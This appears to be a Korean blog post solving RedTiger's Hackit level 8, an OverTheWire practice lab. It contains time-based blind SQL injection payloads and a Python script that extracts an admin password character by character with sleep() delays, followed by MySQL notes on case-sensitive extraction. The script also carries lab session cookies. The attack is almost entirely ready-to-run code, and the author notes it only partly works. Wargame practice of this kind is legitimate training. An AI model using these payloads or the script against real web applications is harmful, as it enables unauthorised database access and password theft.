email에 ' or username='Admin' and length(password)=18 and sleep(5) or '5
로 5초 멈추는걸로 보아 길이 18 확인.
' or username='Admin' and locate(char(116),password)=1 and sleep(5) or '5
' or username='Admin' and instr(password,char(116))=1 and sleep(5) or '5
같은 쿼리로 비밀번호를 빼내려했으나 일부 비밀번호가 안빠짐.
왜그런지는 모르겠음. 연구 필요.
# -*- encoding: cp949 -*- import urllib2,time #answer = 'THEM ANI GOFL 42' answer = '' for j in range(5,19): for i in range(32,128): start = time.time() req = urllib2.Request('http://redtiger.labs.overthewire.org/level8.php','email=%27+or+username%3D%27Admin%27+and+instr%28password%2Cchar%28'+str(i)+'%29%29%3D'+str(j)+'+and+sleep%285%29+or+%275&name=Hans&icq=12345&age=25&edit=Edit') req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese; level4login=dont_publish_solutions_GRR%21; level5login=bananas_are_not_yellow-sometimes; level6login=my_cat_says_meow_meowmeow; level7login=dont_shout_at_your_disks%2A%2A%2A; level8login=MOOcowMEOWcatOinkPIG') page = urllib2.urlopen(req).read() gap = time.time()-start print j,i,gap,answer if gap > 5: answer += chr(i) break print answer
---------------------------------
추가
locate함수로 정확하게 대소문자 구별하면서 뽑아낼수 있다.
원래는 locate('abcde',1)='a'도 true고 locate('abcde',1)='A'도 true로 대소문자 구별을 안했는데
이렇게 가능하다.
select locate('a',binary 'abcde',1)=1;
select locate('A',binary 'abcde',1)=1;
select locate('b',binary 'abcde',1)=2;
select locate('B',binary 'abcde',1)=2;
또 삽질하다 발견했는데 position함수도 됨
뭔가 뽑히기 시작하는데 제대로 안나오는건 여전. 다음에 다시.
'webhacking > sql, sql injection' 카테고리의 다른 글
webhacking.kr 27, 29 (0) | 2015.01.15 |
---|---|
WeChall No Escape, Training: MySQL I, Training: MySQL II (0) | 2015.01.12 |
RedTigers Hackit 7 (0) | 2015.01.09 |
RedTigers Hackit 6 (0) | 2015.01.09 |
RedTigers Hackit 4~5 (0) | 2015.01.08 |